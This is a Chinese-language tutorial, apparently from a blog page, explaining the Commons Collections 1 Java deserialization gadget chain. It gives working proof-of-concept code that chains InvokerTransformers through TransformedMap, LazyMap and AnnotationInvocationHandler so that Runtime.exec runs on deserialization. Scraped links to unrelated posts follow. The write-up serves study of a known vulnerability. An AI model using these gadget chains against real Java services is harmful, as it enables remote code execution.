cc1
基础
cc接口及类介绍
Transformer接口
Defines a functor interface implemented by classes that transform one object into another.
只有一个方法:
ConstantTransformer
returns the same constant each time
构造函数:
transform方法:
InvokerTransformer
implementation that creates a new object instance by reflection.
构造函数:
transform方法:
在input方法中找到与iMethodName、iParamTypes匹配的方法,然后利用反射调用它。
例子:
ChainedTransformer
implementation that chains the specified transformers together.
构造函数:
tranform方法:
就是将多个transform串起来,用第iTranforms[0]来tranform输入的元素,然后将transform后的元素作为iTranforms[i]的tranform参数。所以,如果iTranforms[0]为ConstantTransformer,输入将对此chained tranform不产生影响。
例子:
反序列化
注意到Runtime类没有实现反序列化接口,怎么才能构造它并反序列化呢
注意到cc可以动态转化类,可以通过反射构造出Rutime类。但是Runtime的构造方法是私有的,怎么办呢。调用一个类的静态方法,不需要这个类被实例化,反射的时候也是如此。所以:
Method method = Runtime.class.getMethod("getRuntime", null);
Runtime runtime = Runtime.class.cast(method.invoke(null, null));
runtime.exec("calc");
注意到这种写法有cast方法,其实是可以接着用反射替换掉:
Method method = Runtime.class.getMethod("getRuntime", null);
Object obj =method.invoke(null, null);
Method exec = obj.getClass().getMethod("exec", new Class[]{String.class});
exec.invoke(obj, "calc");
上诉这种形式可以完美匹配chained链条,用tranform的方式表达:
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
ct.transform(null);
此时我们已经可以制作出一个可以被反序列化的ChainedTransformer了。接下来要找到一个类:
1、有ChainedTransformer属性,且可被赋值。
2、在静态构造块、初始化构造块、构造函数、readObj链之一中调用ct.tranform的类。
cc1
TransformedMap
Decorates another Map to transform objects that are added.
构造函数:
注意到:
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue会调用
所以只要找到readObject中调用了MapEntry.setValue即可完成反序列化利用链
AnnotationInvocationHandler
构造方法:
readObj方法:
var3为map,key为this.type方法名
遍历var2中的key,查看var3的keys是否包含。如果包含就调用var5的setValue。
poc
public void exp1() throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
Map innermap = new HashMap();
//绕过var3.get(var6)
innermap.put("value", "xx");
Map outermap = TransformedMap.decorate(innermap, null, ct);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//为私有方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//Retention为有value方法
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outermap);
ser(handler);
}
public void ser(InvocationHandler handler) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
调用链
lazyMap
get方法调用了transform:
对象初始化:
动态代理
java动态代理是利用反射机制生成一个实现代理接口的匿名类,在调用具体方法前调用InvokeHandler来处理
动态代理那些接口
PersonEat personEat = new PersonEat();
//代理类代理personEat的所有接口中包含的方法
Object obj1 = Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
personEat.getClass().getInterfaces(), (proxy, method, args1) -> {
System.out.println("wash");
Object obj = method.invoke(personEat, args1);
System.out.println("clean");
return obj;
});
Eat.class.cast(obj1).eat();
Dress.class.cast(obj1).dress();
//代理类代理personEat的Dress接口的方法
obj1 = Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
new Class[]{Dress.class}, (proxy, method, args1) -> {
System.out.println("wash");
Object obj = method.invoke(personEat, args1);
System.out.println("clean");
return obj;
});
Dress.class.cast(obj1).dress();
Eat.class.cast(obj1).eat();
动态代理类查看:
这些方法均会触发代理方法:
poc
AnnotationInvocationHandler的readObj中entrySet为Map的接口方法,会自动触发invoke方法。
生成的动态代理类,invoke方法已被重写:
invoke方法又调用了map的get方法,如果这个map为lazyMap则利用链完整。又这个memberValues为构造函数的参数,外部可控,可设置为lazyMap。
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
//构造LazyMap
Map innerMap = new HashMap();
innerMap.put("value", "xx");
Map outerMap = LazyMap.decorate(innerMap, ct);
//构造ProxyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//一个实现了InvocationHandler的类,然后使用代理来劫持一个Map类型的对象的函数执行流程,
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ser(handler);
调用链
cc1的更多相关文章
- 安装lxml时gcc: internal compiler error: Killed (program cc1)的解决方法
在安装lxml时出现如下错误 gcc: internal compiler error: Killed (program cc1) 通过查看dmesg发现下述错误信息[2517343.500178] ...
- 阿里云linux服务器安装Phalcon-----"phalcon Volt directory can't be written" "gcc: internal compiler error: Killed (program cc1)"
这里特别蛋疼的一件事是官方英文文档和中文文档命令参数略有不同 中文文档: //通用平台下安装指定的软件包: sudo yum install git gcc make pcre-devel php-d ...
- 解决:cc1.exe: sorry, unimplemented: 64-bit mode not compiled in
在win下用Go语言的cgo时(比如下面场景)我们会用到的GCC编译器,Win下我们一般用MinGW. Golang连接Oracle数据库:win下 golang 跨平台编译 MinGW全称Minim ...
- 分享red hat linux 6上安装oracle11g时遇到的gcc: error trying to exec 'cc1': execvp: No such file or directory的问题处理过程
安装环境:Red Hat Linux 6.5_x64.oracle11g 64bit 报错详情: 安装到68%时弹窗报错: 调用makefile '/test/app/Administrators/p ...
- make module失败的原因cc1: error: unrecognized command line option “-m64
cc1: error: unrecognized command line option "-m64"cc1: error: unrecognized command line o ...
- 安装Redis 编译make gcc: error trying to exec 'cc1': execvp: 没有该文件或目录的错误
Linux(Redhat) make: gcc: error trying to exec 'cc1': execvp: 没有该文件或目录的错误 排查错误: 1.检查gcc.gcc-c++是否安装rp ...
- 安装Phalcon报错:gcc: Internal error: Killed (program cc1)
起因 安装Phalcon可以参考github上面的README.md 下面是我在阿里云ECS服务器上面执行命令的过程: # 安装依赖 sudo yum install php-devel pcre-d ...
- 编译openwrt时报错:fstools-2018-01-02-11efbf3b/libfstools/overlay.c: At top level: cc1: error: unrecognized command line option '-Wno-format-truncation' [-Werror]
1. 详细错误信息 [ 11%] Building C object CMakeFiles/fstools.dir/libfstools/overlay.c.o/home/jello/openwrt/ ...
- elfutils cc1: all warnings being treated as errors
/********************************************************************** * elfutils cc1: all warnings ...
- 解决编译错误:cc: Internal error: Killed (program cc1)
错误现象: cc: Internal error: Killed (program cc1) ... 大体上是因为内存不足,临时使用交换分区来解决吧 sudo mkswap /swapfile sud ...
随机推荐
- html添加公共文件
html添加公共文件 记录添加公共头尾文件的方法 thymeleaf模板引擎 common.html index.html
- celery+redis的使用(异步任务、定时任务)
目录 celery理解 安装celery+redis 异步任务使用 1.基础使用 新建task.py文件 在项目文件目录下执行python交互式编程 在项目文件目录下创建worker消费任务 2.使用 ...
- Head First Python(第2版)书籍 重视大脑的学习指南
Head First Python(第2版)PDF高清版书籍免费下载地址 提取码:08eo 内容简介 · · · · · · 你想过可以通过一本书就学会Python吗?<Head First ...
- k8s之 pod调度
案例:确保Pod分配到具有SSD硬盘的节点上 第一步:给节点添加标签 格式:kubectl label nodes <node-name> <label-key>=<la ...
- cat /dev/null > file后,ls查看文件大小未减小,du查看变为0
一句话总结: 其他程序正在使用command > file写入文件:将command程序kill后使用command >> file写入文件,即可在command写入file时,用c ...
- python 日志分割器 大文本处理
import math i=0 filename='' write='' Rline = '' def writeFile(fileName,line): global filename global ...
- 1、docker 安装
1 准备三台linux服务器 2 docker安装 三台机器全部执行docker安装操作 2.1 移除以前docker相关包 sudo yum remove docker \ docker-clien ...
- certutil工具使用和bypass学习
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站.服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作.利用此文所提供 ...
- Flink任务自定义个性化配置logback.xml文件
之前已经写过如何使用logback将日志直接写入Kafka,然后通过es和kibana实时查看 但是如果我们想要每个任务都能够带上单独的信息比如开发者.任务名称等信息,那么就需要每个任务都指定一个lo ...
- react fiber 的运行机制
前言 1. 不同的元素类型决定不同的任务类型 2. react 的元素类型有 class component , function component ,Dom nodes, portal等等 要理解 ...